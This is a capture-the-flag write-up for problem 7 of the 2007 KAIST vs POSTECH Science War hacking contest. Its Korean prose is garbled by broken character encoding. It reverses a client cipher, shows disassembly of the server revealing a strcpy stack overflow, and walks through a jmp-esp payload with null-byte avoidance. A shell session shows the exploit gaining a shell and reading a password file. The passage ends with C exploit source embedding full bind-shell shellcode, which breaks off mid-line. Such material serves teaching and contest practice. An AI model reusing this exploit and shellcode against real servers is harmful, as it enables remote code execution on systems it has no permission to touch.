-------------------------------- Science War 2007 KAIST vs POSTECH POSTECH vs KAIST Çлý´ëÁ¦Àü ÇØÅ·´ëȸ 7¹ø¹®Á¦ Ç®ÀÌ -------------------------------- -> writer - hkpco <- -> mail&msn - hkpco@korea.com <- -> homepage - http://hkpco.kr <- ================================ http://sciencewar.wowhacker.org/ ================================ * ´ëȸ Áغñ±â°£ ´ç½Ã ½Ã°£ºÎÁ·À¸·Î ÀÎÇØ ÃâÁ¦°¡ Èûµé¾ú´ø 7¹ø¹®Á¦¿¡ ´ëÇÏ¿© µµ¿òÀ» ÁֽŠÀÌ¿ëÀÏ, ±èµ¿¿ì´Ô²² °¨»çµå¸³´Ï´Ù. Ä«Æ÷Àü(or Æ÷Ä«Àü) ÇØÅ·´ëȸ 7¹ø¹®Á¦¿¡ ´ëÇÑ Åë°úÇб³°¡ ¾ø¾î Ç®À̸¦ ±â¼úÇÏ¿´½À´Ï´Ù. ¹®Á¦´Â ¾Æ·¡¿Í °°½À´Ï´Ù. -- ƯÁ¤ ¼­¹öÀÇ Æ÷Æ®·Î »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ µ¥ÀÌÅ͸¦ Àü¼ÛÇÏ´Â À©µµ¿ì ÇÁ·Î±×·¥ hackko.exe°¡ ÀÖ½À´Ï´Ù. ¹®Á¦·Î ÁÖ¾îÁø ¼­¹öÀÇ ÁÖ¼Ò´Â "218.38.54.227" À̸ç Æ÷Æ®´Â 31337ÀÔ´Ï´Ù. ÇØ´ç ¼­¹ö·Î µ¥ÀÌÅ͸¦ Àü¼ÛÇÏ¸é ¼­¹öÀÇ º¹È£È­ ·çƾÀ» °ÅÃļ­ À©µµ¿ì Ŭ¶óÀ̾ðÆ®(hackko.exe)·Î Àü¼ÛÇØÁÝ´Ï´Ù. ±×·±µ¥ hackko.exeµµ »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ µ¥ÀÌÅ͸¦ "218.38.54.227"¼­¹ö¿Í ¶È°°Àº º¹È£È­ ·çƾÀ» °ÅÃÄ Àü¼ÛÇÕ´Ï´Ù. ¾ÏȣȭµÈ "POSTECH" or "KAIST" , "KAIST" or "POSTECH" ¹®ÀÚ¿­À» ¼­¹ö·Î Àü¼ÛÇÏ°Ô µÇ¸é, ¹®Á¦¼­¹ö ¹ÙÀ̳ʸ®°¡ À§Ä¡ÇÑ URLÀ» Àü¼ÛÇØ ÁְԵ˴ϴÙ. http://218.38.54.227/~hkpco/hackko.exe let's go. -- ¹®Á¦·Î Á¦°øµÈ ÇÁ·Î±×·¥ÀÇ urlÀÔ´Ï´Ù. -------------------------------------------------------- binary - http://hkpco.joinc.co.kr/science_war/hackko.exe -------------------------------------------------------- ¼­¹ö¸¦ ±¸µ¿ÇÑ ½Ã½ºÅÛÀÇ È¯°æÀÔ´Ï´Ù. ------------------------------------------------------------------------------------ [hkpco@ns science_war]$ uname -a Linux ns.joinc.co.kr 2.4.34 #2 Sat Jan 27 11:45:33 KST 2007 i686 i686 i386 GNU/Linux [hkpco@ns science_war]$ cat /etc/redhat-release Red Hat Linux release 9 (Shrike) ------------------------------------------------------------------------------------ ¿ì¼± ÁÖ¾îÁø MFC¹ÙÀ̳ʸ® hackko.exe¸¦ ½ÇÇàÇϸé "¼­¹öÁÖ¼Ò, Æ÷Æ®, µ¥ÀÌÅÍ"¸¦ ÀԷ¹޽À´Ï´Ù. ¼­¹öÁÖ¼Ò¿Í Æ÷Æ®ÀÇ °æ¿ì´Â ¹®Á¦¿¡¼­ ¹Ì¸® ÁÖ¾îÁ®ÀÖ°í, µ¥ÀÌÅÍ´Â »ç¿ëÀÚ°¡ ÀÓÀÇ·Î ÀÛ¼ºÇÏ¿© Àü¼Û ÇÒ ¼ö ÀÖ½À´Ï´Ù. hackko.exe´Â »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ µ¥ÀÌÅ͸¦ ÇÁ·Î±×·¥ ³»ºÎÀÇ º¹È£È­ ·çƾÀ» °ÅÃÄ Æ¯Á¤ ¼­¹öÀÇ Æ÷Æ®·Î Àü¼ÛÇØ ÁÝ´Ï´Ù. ±¸µ¿µÇ°í ÀÖ´Â ¼­¹öµµ hackko.exe ÇÁ·Î±×·¥°ú ¶È°°Àº º¹È£È­ ·çƾÀ» »ç¿ëÇÑ´Ù°í ¹®Á¦¿¡¼­ Á¦½ÃÇØ µÎ¾ú°í, ¾ÏȣȭµÈ "KAIST" or "POSTECH" ¹®ÀÚ¿­À» Àü¼ÛÇÏ¸é ¼­¹ö ¹ÙÀ̳ʸ®°¡ À§Ä¡ÇÑ urlÀ» Ãâ·Â ÇØ ÁØ´Ù°í ¹®Á¦¿¡¼­ ¾Ë·Á ÁÖ¾ú½À´Ï´Ù. MFC¹ÙÀ̳ʸ®ÀÇ º¹È£È­ ·çƾÀ» ã¾Æ ¾Ïȣȭ ·çƾÀ» À¯ÃßÇØ ³»¾î "KAIST" or "POSTECH"À» ¾Ïȣȭ ½ÃÄÑ Àü¼ÛÇÏ¸é ¼­¹öÀÇ ¹ÙÀ̳ʸ®°¡ À§Ä¡ÇÑ ÁÖ¼Ò¸¦ µÇµ¹·Á ÁÝ´Ï´Ù. ÀÌ ¶§, hackko.exeÇÁ·Î±×·¥À» ÅëÇØ °ªÀ» Àü¼ÛÇϸé ÀÀ´ä¹ÞÀº µ¥ÀÌÅ͸¦ ÇÁ·Î±×·¥ÀÌ Æ¯Á¤ ¹ÙÀÌÆ® ÀÌ»ó Ãâ·ÂÇØ ÁÖÁö ¸øÇÕ´Ï´Ù. ±×·¡¼­, netcatµîÀÇ ÅøÀ̳ª ¼ÒÄÏ ÇÁ·Î±×·¡¹ÖÀ» ÅëÇØ À¯ÃßÇØ ³½ ¾Ïȣȭ Äڵ带 ÀÌ¿ëÇÏ¿© µ¥ÀÌÅ͸¦ Àü¼ÛÇØ ÁÖ¾î¾ß ÇÕ´Ï´Ù. ollydbg¸¦ ÅëÇØ ¾Ë¾Æ³½ cryptionÇÔ¼öÀÇ callÁöÁ¡ÀÔ´Ï´Ù. ------------------------------------------------ 00401795 . E8 56FEFFFF CALL hackko.004015F0 ------------------------------------------------ º¹È£È­ ·çƾÀº ¾Æ·¡¿Í °°½À´Ï´Ù. ----------------------------------------------------------- 004015F0 /$ B8 00280000 MOV EAX,2800 004015F5 |. E8 D6040000 CALL hackko.00401AD0 004015FA |. 8B9424 0428000>MOV EDX,DWORD PTR SS:[ESP+2804] 00401601 |. 57 PUSH EDI 00401602 |. 8BFA MOV EDI,EDX . . . 0040164F |> 881428 |MOV BYTE PTR DS:[EAX+EBP],DL 00401652 |. 8A50 01 |MOV DL,BYTE PTR DS:[EAX+1] 00401655 |. 47 |INC EDI 00401656 |. 40 |INC EAX 00401657 |. 84D2 |TEST DL,DL 00401659 |.^75 D6 \JNZ SHORT hackko.00401631 . . 00401677 |. 5F POP EDI 00401678 |. 81C4 00280000 ADD ESP,2800 0040167E \. C3 RETN ----------------------------------------------------------- ´ÙÀ½Àº º¹È£È­ ·çƾÀ» ÅëÇØ À¯ÃßÇÑ ¾Ïȣȭ ÄÚµåÀÔ´Ï´Ù. ---------------------------------------------------------- cryption - http://hkpco.joinc.co.kr/science_war/cryption.c ---------------------------------------------------------- cryptionÀÇ »ç¿ë ¿¹ÀÔ´Ï´Ù. ----------------------------------------------------------------------------- [hkpco@ns science_war]$ (perl -e 'print "hkpco_korean"') | nc localhost 31337 s`{XzTvd}Zl [hkpco@ns science_war]$ ./cryption hkpco_korean t_|W{Swc~Ymb [hkpco@ns science_war]$ ./cryption hkpco_korean | nc localhost 31337 hkpco_korean ----------------------------------------------------------------------------- cryptionÀ» ÀÌ¿ëÇÏ¿© ¹®ÀÚ¿­À» ¾Ïȣȭ ½ÃÄÑ ¼­¹ö·Î Àü¼ÛÇÏ°Ô µÇ¸é º¹È£È­µÈ µ¥ÀÌÅÍ°¡ Á¤»óÀûÀ¸·Î µ¹¾Æ¿À°Ô µË´Ï´Ù. KAIST, POSTECHÀ» ¾Ïȣȭ ½ÃÄÑ ¼­¹ö·Î º¸³»¾úÀ» °æ¿ì ¼­¹ö ¹ÙÀ̳ʸ®ÀÇ urlÀ» Àü¼ÛÇØ ÁÙ °ÍÀÔ´Ï´Ù. --------------------------------------------------------------- [hkpco@ns science_war]$ ./cryption KAIST | nc localhost 31337 http://hkpco.joinc.co.kr/science_war/server KAIST [hkpco@ns science_war]$ ./cryption POSTECH | nc localhost 31337 http://hkpco.joinc.co.kr/science_war/server POSTECH --------------------------------------------------------------- ¼­¹öÃø¿¡¼­ Àü¼ÛÇØÁØ url¿¡ À§Ä¡ÇÑ ¹ÙÀ̳ʸ®¸¦ ¹Þ¾Æ ºÐ¼®ÇÏ°Ú½À´Ï´Ù. [hkpco@localhost hk]$ wget http://hkpco.joinc.co.kr/science_war/server --17:43:41-- http://hkpco.joinc.co.kr/science_war/server => `server' Resolving hkpco.joinc.co.kr... 218.234.19.87 Connecting to hkpco.joinc.co.kr|218.234.19.87|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 15,007 (15K) [text/plain] 100%[=================================================================================>] 15,007 --.--K/s 17:43:41 (4.92 MB/s) - `server' saved [15007/15007] [hkpco@localhost hk]$ objdump -d server server: file format elf32-i386 Disassembly of section .init: 0804856c <_init>: 804856c: 55 push %ebp 804856d: 89 e5 mov %esp,%ebp 804856f: 83 ec 08 sub $0x8,%esp 8048572: e8 b1 01 00 00 call 8048728 8048577: e8 0c 02 00 00 call 8048788 804857c: e8 b7 07 00 00 call 8048d38 <__do_global_ctors_aux> . . . 080487b4
: 80487b4: 55 push %ebp 80487b5: 89 e5 mov %esp,%ebp 80487b7: 81 ec 18 15 00 00 sub $0x1518,%esp 80487bd: 83 e4 f0 and $0xfffffff0,%esp 80487c0: b8 00 00 00 00 mov $0x0,%eax 80487c5: 29 c4 sub %eax,%esp 80487c7: c7 85 fc ea ff ff 01 movl $0x1,0xffffeafc(%ebp) 80487ce: 00 00 00 80487d1: c7 85 f8 ea ff ff 02 movl $0x2,0xffffeaf8(%ebp) 80487d8: 00 00 00 80487db: 8b 85 fc ea ff ff mov 0xffffeafc(%ebp),%eax . . 8048ac7: e8 e8 fa ff ff call 80485b4 8048acc: 83 c4 10 add $0x10,%esp 8048acf: 83 ec 0c sub $0xc,%esp 8048ad2: ff b5 c0 eb ff ff pushl 0xffffebc0(%ebp) 8048ad8: e8 d7 fa ff ff call 80485b4 8048add: 83 c4 10 add $0x10,%esp 8048ae0: b8 00 00 00 00 mov $0x0,%eax 8048ae5: c9 leave 8048ae6: c3 ret 08048ae7 : 8048ae7: 55 push %ebp 8048ae8: 89 e5 mov %esp,%ebp 8048aea: 57 push %edi 8048aeb: 81 ec 24 28 00 00 sub $0x2824,%esp 8048af1: 8d bd f8 d7 ff ff lea 0xffffd7f8(%ebp),%edi 8048af7: fc cld 8048af8: ba 00 00 00 00 mov $0x0,%edx 8048afd: b8 00 0a 00 00 mov $0xa00,%eax . . . 8048d61: e8 00 00 00 00 call 8048d66 <_fini+0xa> 8048d66: 5b pop %ebx 8048d67: 81 c3 c6 11 00 00 add $0x11c6,%ebx 8048d6d: e8 da f9 ff ff call 804874c <__do_global_dtors_aux> 8048d72: 8b 5d fc mov 0xfffffffc(%ebp),%ebx 8048d75: c9 leave 8048d76: c3 ret server¹ÙÀ̳ʸ®ÀÇ ´ÙÀ½ ºÎºÐÀÌ Æ÷ÀÎÆ®ÀÔ´Ï´Ù. 804899c: 83 ec 04 sub $0x4,%esp 804899f: 6a 20 push $0x20 80489a1: 6a 00 push $0x0 80489a3: 8d 45 d8 lea 0xffffffd8(%ebp),%eax 80489a6: 50 push %eax 80489a7: e8 18 fd ff ff call 80486c4 80489ac: 83 c4 10 add $0x10,%esp // memset( %eax(ebp-28) , 0x0 , 0x20 ); 80489af: 83 ec 04 sub $0x4,%esp 80489b2: 68 01 14 00 00 push $0x1401 80489b7: 6a 00 push $0x0 80489b9: 8d 85 c8 eb ff ff lea 0xffffebc8(%ebp),%eax 80489bf: 50 push %eax 80489c0: e8 ff fc ff ff call 80486c4 80489c5: 83 c4 10 add $0x10,%esp // memset( %eax(ebp-1438) , 0x0 , 0x1401 ); . . 80489ea: 6a 00 push $0x0 80489ec: 68 00 14 00 00 push $0x1400 80489f1: 8d 85 c8 eb ff ff lea 0xffffebc8(%ebp),%eax 80489f7: 50 push %eax 80489f8: ff b5 c0 eb ff ff pushl 0xffffebc0(%ebp) 80489fe: e8 d1 fc ff ff call 80486d4 8048a03: 83 c4 10 add $0x10,%esp // recv( %ebp(0xffffebc0) , %eax(ebp-1438) , 0x1400 , 0x0 ); . . 8048a31: 83 ec 08 sub $0x8,%esp 8048a34: 83 ec 04 sub $0x4,%esp 8048a37: 8d 85 c8 eb ff ff lea 0xffffebc8(%ebp),%eax 8048a3d: 50 push %eax 8048a3e: e8 a4 00 00 00 call 8048ae7 8048a43: 83 c4 08 add $0x8,%esp 8048a46: 50 push %eax 8048a47: 8d 45 d8 lea 0xffffffd8(%ebp),%eax 8048a4a: 50 push %eax 8048a4b: e8 a4 fc ff ff call 80486f4 8048a50: 83 c4 10 add $0x10,%esp // strcpy( ebp-24 , decryption(ebp-1438) ); Æ÷ÀÎÆ®¸¦ Àç ±¸¼ºÇغ¸¸é ´ÙÀ½°ú °°½À´Ï´Ù. -- socket(..); bind(..); listen(..); while(1) { accept(..); memset( %eax(ebp-40) , 0x0 , 0x20 ); memset( %eax(ebp-5176) , 0x0 , 0x1401 ); recv( %ebp(0xffffebc0) , %eax(ebp-1438) , 0x1400 , 0x0 ); strcpy( ebp-36 , decryption(ebp-5176) ); } send(..); -- socket, bind, listen, accept¸¦ »ç¿ëÇÏ¿© ¼­¹ö¸¦ ±¸¼ºÇÑ µÚ, buffer(ebp-36, ebp-5176)µéÀ» ÃʱâÈ­ ÇÑ ´ÙÀ½, recvÇÔ¼ö°¡ ¼ÒÄÏÀ» ÅëÇØ ¹öÆÛ(ebp-5176)¿¡ ÃÖ´ë 0x1400Å©±âÀÇ µ¥ÀÌÅ͸¦ ¹Þ¾Æ¿É´Ï´Ù. ±×¸®°í ÀúÀåÇØ µÐ ¹öÆÛ¸¦ decryptionÇÔ¼ö·Î º¹È£È­ ÇÑ µÚ ebp-36¿¡ º¹»çÇÏ°Ô µÇ´Â ÁöÁ¡¿¡¼­ BOF°¡ ¹ß»ýÇÕ´Ï´Ù. °ø°ÝÀÌ ¼º¸³µÇ±â À§Çؼ­´Â bruteforce¸¦ ½ÃµµÇØ¾ß ÇÏÁö¸¸ ¹öÆÛ°¡ À۱⠶§¹®¿¡ return address µÞºÎºÐ¿¡ Á¸ÀçÇÏ´Â °ø°£¿¡ ½ÇÇà½Ãų ±â°è¾î ÄÚµå( bindshell, reverse telnet µîµî )¸¦ »ðÀÔÇÑ µÚ ¼ö¸¹Àº bruteforce¸¦ °¨ÇàÇØ¾ß ÇÕ´Ï´Ù. ÇÏÁö¸¸ ¼­¹ö ¹ÙÀ̳ʸ®¸¦ ÀÚ¼¼È÷ »ìÆ캸°Ô µÇ¸é Çѹø¿¡ °ø°ÝÀ» ¼º¸³½Ãų ¼ö ÀÖ´Â ½Ç¸¶¸®¸¦ ãÀ» ¼ö ÀÖ½À´Ï´Ù. ---------------------------------------------------- 80487e9: ff e4 jmp *%esp ---------------------------------------------------- À§¿Í °°ÀÌ ¹ÙÀ̳ʸ® ³»ºÎ¿¡ jmp *%esp ¸í·ÉÀÌ Á¸ÀçÇϴµ¥, À̸¦ ÀÌ¿ëÇÏ¸é ½±°Ô °ø°ÝÀ» ¼º°ø½Ãų ¼ö ÀÖ½À´Ï´Ù. payload´Â ´ÙÀ½°ú °°ÀÌ ±¸¼ºÇÕ´Ï´Ù. ----------------------------------- [buffer][ret][....] [AAA...AA][jmp_esp addr][bindshell] ----------------------------------- return address¿¡ jmp_esp°¡ À§Ä¡ÇÑ ÁÖ¼Ò°ªÀ» ³Ö°í, ±× µÚ¿¡ bindshellÄڵ带 »ðÀÔÇÏ°Ô µÇ¸é ÀÚ½ÄÇÁ·Î¼¼½º ¼Ò¸êºÎºÐ¿¡¼­ jmp_esp¸í·ÉÀÌ ½ÇÇàµÇ¾î esp·Î Á¡ÇÁ( ¿©±â¼­ esp´Â return addressÀÇ ´ÙÀ½ ÁöÁ¡À» °¡¸®Å°°í ÀÖÀ½ )ÇÏ°Ô µÇ¾î bindshell Äڵ带 ½ÇÇà ÇÒ °ÍÀÔ´Ï´Ù. º» ¹®¼­¿¡¼­´Â jmp esp±â¹ý¿¡ ´ëÇÑ ÀÚ¼¼ÇÑ ¼³¸íÀº »ý·«ÇÏ°Ú½À´Ï´Ù. ÀÌÁ¦ Á¶±Ý ´õ Á¤È®ÇÑ payload¸¦ ±¸¼ºÇØ º¸¸é, ebp-36¿¡¼­ ½ÃÀÛÇÏ´Â buffer¿¡¼­ overflow°¡ ÀϾ±â ¶§¹®¿¡ ÃÑ 44¹ÙÀÌÆ®ÀÇ µ¥ÀÌÅ͸¦ »ç¿ëÇÏ¿© ebp±îÁö ä¿ï ¼ö ÀÖ½À´Ï´Ù. return address¿¡´Â jmp_espÀÇ ÁÖ¼Ò°ª 0x80487e9¸¦ ³Ö¾î ÁØ µÚ, ¹Ù·Î µÚ¿¡ bindshellÄڵ带 »ðÀÔÇÕ´Ï´Ù. ±×·¯¸é 44¹ÙÀÌÆ®ÀÇ µ¥ÀÌÅÍ°¡ ebp±îÁö¸¦ µ¤°í, jmp_esp°¡ À§Ä¡ÇÑ ÁÖ¼Ò°ªÀ» ½ÇÇà½ÃÄÑ esp·Î Á¡ÇÁÇÏ°Ô µÇ´Âµ¥ ±× ÁöÁ¡ÀÌ bindshellÄڵ尡 À§Ä¡ÇÑ °÷À̸ç, °á°úÀûÀ¸·Î ¼­¹öÀÇ ½© ¸í·ÉÀ» ½ÇÇà½Ãų ¼ö Àִ ƯÁ¤ Æ÷Æ®¸¦ ¿­¾îÁÖ°Ô µË´Ï´Ù. ±×·±µ¥ EXPLOITÀÛ¼º ½Ã ÁÖÀÇÇØ¾ß ÇÒ Á¡ÀÌ ÀÖ½À´Ï´Ù. º¹È£È­ Äڵ带 ÀÌ¿ëÇÏ¿© µ¥ÀÌÅ͸¦ ¾Ïȣȭ ÇÒ °æ¿ì Áß°£¿¡ null¹®ÀÚ°¡ Æ÷Ç﵃ ¼öµµ Àִµ¥, sendÇÔ¼öÀÇ Àü¼Ûµ¥ÀÌÅÍ ±æÀ̸¦ strlen(cryption(data))¿Í °°Àº Çü½ÄÀ¸·Î Àü´ÞÇϸé nullbyte±îÁöÀÇ data¸¦ ÃÑ ±æÀÌ·Î ÀνÄÇϹǷΠÀüü payload¸¦ ¼­¹öÃø¿¡ Àü¼ÛÇÒ ¼ö ¾ø½À´Ï´Ù. sendÇÔ¼ö·Î ÁÖ¾îÁö´Â ±æÀÌ°ªÀ» ¹«Á¶°Ç Å©°Ô Á־ ¹®Á¦°¡ µÇ´ÂÁ¡ÀÌ, ¼­¹ö°¡ Ŭ¶óÀ̾ðÆ® Ãø¿¡¼­ Àü¼Û¹ÞÀº µ¥ÀÌÅ͸¦ ³»ºÎÀÇ descryptionÇÔ¼ö·Î º¹È£È­ ÇÏ°Ô µÇ´Âµ¥, ¿©±â¼­µµ strlenÇÔ¼ö¸¦ »ç¿ëÇϱ⠶§¹®¿¡ ¹ÞÀº µ¥ÀÌÅÍ ±æÀÌ¿¡ »ó°ü¾øÀÌ null¹®ÀÚ¸¦ µ¥ÀÌÅÍÀÇ ³¡À¸·Î ÀνÄÇϰԵǹǷΠ°ø°ÝÄÚµå Àüü¸¦ µ¤¾î ¾µ ¼ö ¾ø°ÔµË´Ï´Ù. ¿©±â¿¡ ´ëÇÑ ÇØ°áÃ¥À» ã±â À§Çؼ­ ¾Ïȣȭ ÄÚµåÀÇ Æ¯Á¤ ±ÔÄ¢À» ÆľÇÇÑ µÚ, °ø°ÝÄڵ带 À籸¼º ÇØ¾ß ÇÕ´Ï´Ù. cryptionÀº data(Æò¹®)ÀÇ ±æÀÌ¿¡ µû¶ó ¾Ïȣȭ µÇ´Â µ¥ÀÌÅÍ°¡ ´Þ¶óÁö´Â ±¸Á¶ÀÔ´Ï´Ù. ±×·¸´Ù¸é payloadÀÇ ±æÀ̸¦ 1byte¾¿ Áõ°¡½ÃÅ°´Ù º¸¸é ±æÀÌ°ª¿¡ µû¶ó º¯Ä¢ÀûÀÎ ¾Ïȣȭ ¼öÇàÀÇ °á°ú Áß nullbyte¸¦ Æ÷ÇÔÇÏÁö ¾ÊÀ»¶§µµ ÀÖÀ» °ÍÀÔ´Ï´Ù. payload´Â ¾Æ·¡¿Í °°ÀÌ ±¸¼ºµË´Ï´Ù. [AAA..AA][jmp_esp addr][bindshell] -> cryption°á°ú¿¡ nullbyte°¡ Æ÷ÇԵǴ°¡?, ±×·¸´Ù¸é payloadÀ籸¼º, ¾Æ´Ï¸é °ø°Ý [AAA..AA][jmp_esp addr][NOP][bindshell] -> cryption°á°ú¿¡ nullbyte°¡ Æ÷ÇԵǴ°¡?, ±×·¸´Ù¸é payloadÀ籸¼º, ¾Æ´Ï¸é °ø°Ý [AAA..AA][jmp_esp addr][NOPNOP][bindshell] -> cryption°á°ú¿¡ nullbyte°¡ Æ÷ÇԵǴ°¡?, ±×·¸´Ù¸é payloadÀ籸¼º, ¾Æ´Ï¸é °ø°Ý . . . bindshell¾ÕºÎºÐ¿¡ NOPÀ» 1byte¾¿ Áõ°¡½ÃÅ°¸ç cryptionÀÇ °á°ú¿¡ nullbyte°¡ Æ÷ÇԵǴÂÁö üũÇÕ´Ï´Ù. nullbyte È®Àνÿ¡ ÁÖÀÇÇÒ Á¡Àº ÀϹÝÀûÀÎ ¹®ÀÚ¿­ ÇÔ¼ö¸¦ »ç¿ëÇÏ¸é ¾ÈµÈ´Ù´Â °ÍÀÔ´Ï´Ù. ¹®ÀÚ¿­ ÇÔ¼ö´Â ±âº»ÀûÀ¸·Î nullbyte¸¦ µ¥ÀÌÅÍÀÇ ³¡À¸·Î º¸±â ¶§¹®¿¡ Á÷Á¢ Æ÷ÀÎÅÍ¿Í ·çÇÁ¹®À» ÀÌ¿ëÇÏ¿© È®ÀÎÀ» ÇØ¾ß ÇÕ´Ï´Ù. nullbyteüũ¸¦ À§ÇØ ¸¸µé¾îÁø ÇÔ¼ö´Â ´ÙÀ½°ú °°½À´Ï´Ù. int check_null( char *get_p, int l ) { int i, length; char *p, c; p = get_p; length = l; printf( "payload: %dbyte\n" , length ); for( i = 0 ; i < length ; i++ ) { c = *p++; if( c == 0 ) { printf( "\t [null found]\n\n" ); return 1; } } printf("\n"); return 0; } cryptionµÈ µ¥ÀÌÅ͸¦ Æ÷ÀÎÅÍ·Î ³Ñ°Ü¹ÞÀº µÚ, 1byte¾¿ ºñ±³Çϸç nullbyteÀÇ À¯¹«¸¦ ÆÇ´ÜÇÕ´Ï´Ù. ÀÌ ¶§, µÎ¹ø° ÀÎÀÚ¿¡´Â cryptionÀüÀÇ µ¥ÀÌÅÍ(Æò¹®)ÀÇ ±æÀ̸¦ ¹Þ°Ô µÇ´Âµ¥, ¹®Á¦¿¡¼­ ÁÖ¾îÁø ¾Ïȣȭ/º¹È£È­ ·çƾ¿¡ ÀÇÇÑ Æò¹®°ú ¾ÏÈ£¹®ÀÇ ±æÀÌ°¡ 1:1 ´ëÀÀÀ» ÇϹǷΠnullbyte°¡ Æ÷ÇÔµÇÁö ¾ÊÀº °ø°ÝÄÚµå(Æò¹®)ÀÇ ±æÀ̸¦ ³Ñ°ÜÁÖ´Â °ÍÀÔ´Ï´Ù. check_null()ÇÔ¼ö¸¦ Ãß°¡½ÃÄÑ ¸¸µé¾îÁø °ø°ÝÀÇ ÇٽɺΠÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù. do { memset( dummy , '\x90' , cnt++ ); snprintf( payload , sizeof(payload) -1 , "%s%s%s%s" , buffer , jmp_esp , dummy , bindsc ); #ifdef DEBUG printf( "A: %d\n" , strlen(cryption(payload))); printf( "B: %d\n" , strlen(payload)); #endif } while(check_null( cryption(payload) , strlen(payload) )); check_null()ÇÔ¼ö´Â nullbyte°¡ Á¸ÀçÇϸé 1À» ¸®ÅÏÇØ ÁֹǷΠ¾Ïȣȭ µ¥ÀÌÅÍ¿¡ nullbyte°¡ Æ÷ÇÔµÇÁö ¾ÊÀ»¶§ ±îÁö ¹Ýº¹¹®Àº °è¼Ó ¼öÇàµÇ°Ô µË´Ï´Ù. dummyÀÇ µ¥ÀÌÅ͵µ ¸¶Âù°¡Áö·Î nullbyte°¡ Á¸ÀçÇÏÁö ¾ÊÀ»¶§ ±îÁö 1byte¾¿ Ãß°¡µË´Ï´Ù. ÀÌ·¸°Ô ÀÛ¼º µÈ EXPLOITÀ» ÀÌ¿ëÇÑ °ø°Ý °á°úÀÔ´Ï´Ù. EXPLOITÀÇ ÀÎÀڷδ ebp±îÁö ä¿öÁú ¹öÆÛÀÇ dummy size¸¦ ÀÔ·ÂÇÕ´Ï´Ù. ¿©±â¼­ dummy size´Â ¾Õ¿¡¼­ ±¸ÇÑ 44byteÀÔ´Ï´Ù. -- [hkpco@ns science_war]$ gcc -o hkexp hkexp.c [hkpco@ns science_war]$ ./hkexp 44 payload: 258byte [null found] payload: 259byte ================ exploit success! ================ id uid=511(hkpco) gid=513(hkpco) groups=513(hkpco) ls -al total 36 drwxrwxr-x 2 hkpco hkpco 4096 Sep 16 00:39 . drwxrwxr-x 3 hkpco hkpco 4096 Sep 16 16:51 .. -rw-rw-r-- 1 hkpco hkpco 13 Sep 16 00:40 PASSWORD -rwxrwxr-x 1 hkpco hkpco 23766 Sep 16 00:39 server cat PASSWORD ChanAm, Park -- Æнº¿öµå´Â "ChanAm, Park" ÀÔ´Ï´Ù. ----------------------------------------------------------------------------------------------- ¸¶Ä¡¸ç.. -------- »çÀ̾𽺿ö ÇØÅ·´ëȸ Áغñ¸¦ Çΰè·Î ¸¹Àº ½Ã°£À» ÅõÀÚÇÏ¿´½À´Ï´Ù. ´ëȸ±â°£µ¿¾È ¿­½ÉÈ÷ ¹®Á¦¸¦ Ç®¾îÁֽŠPOSTECH & KAIST, KAIST & POSTECH ºÐµé²² °¨»çµå¸®¸ç, Àú ¶ÇÇÑ ¸¹Àº °ÍÀ» ¹è¿ì°í ´À³¥ ¼ö ÀÖ´Â º¸¶÷ÀÖ´Â °æÇèÀ̾ú½À´Ï´Ù. ³»³â¿£ ´õ ÁÁÀº ¹®Á¦µé·Î ã¾ÆºË°Ú½À´Ï´Ù. °¨»çÇÕ´Ï´Ù. ----------------------------------------------------------------------------------------------- ============================================= SERVER SOURCE CODE http://hkpco.joinc.co.kr/science_war/server.c ============================================= ====================================================== EXPLOIT source code hkexp.c - http://hkpco.joinc.co.kr/science_war/hkexp.c ====================================================== - hkexp.c - /* Science War Hacking Contest problem7 EXPLOIT by hkpco KAIST vs POSTECH POSTECH vs KAIST */ #include #include #include #include #include #include #include #include #include #include #include #define ADR "127.0.0.1" #define TG_PORT 31337 #define RS_PORT 45295 //#define DEBUG char payload[4096*2] = {0x00,}; char buffer[1024] = {0x00,}; char jmp_esp[] = "\xe9\x87\x04\x08"; // jmp_esp addr char bindsc[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; // bindshell code char *cryption( char *data ); int attack_check( void ); void socket_shell( int sockfd ); int check_null( char *get_p, int l ); int main( int argc , char **argv ) { int sockfd, cnt; char dummy[512]={0x00,}; struct sockaddr_in sock; if( argc < 2 ) { fprintf( stderr , "i need dummy size\n" ); return -1; } sockfd = socket( PF_INET , SOCK_STREAM , 0 ); if( sockfd < 0 ) { perror( "socket()" ); return -1; } sock.sin_family = AF_INET; sock.sin_addr.s_addr = inet_addr(ADR); sock.sin_port = htons(TG_PORT); if( (connect( sockfd , (struct sockaddr *)&sock , sizeof(sock))<0) ) { perror( "connect()" ); return -1; } cnt = 0; memset( buffer , 'A' , atoi(argv[1]) ); do { memset( dummy , '\x90' , cnt++ ); snprintf( payload , sizeof(payload) -1 , "%s%s%s%s" , buffer , jmp_esp , dummy , bindsc ); #ifdef DEBUG printf( "A: %d\n" , strlen(cryption(payload))); printf( "B: %d\n" , strlen(payload)); #endif } while(check_null( cryption(payload) , strlen(payload) )); send( sockfd , 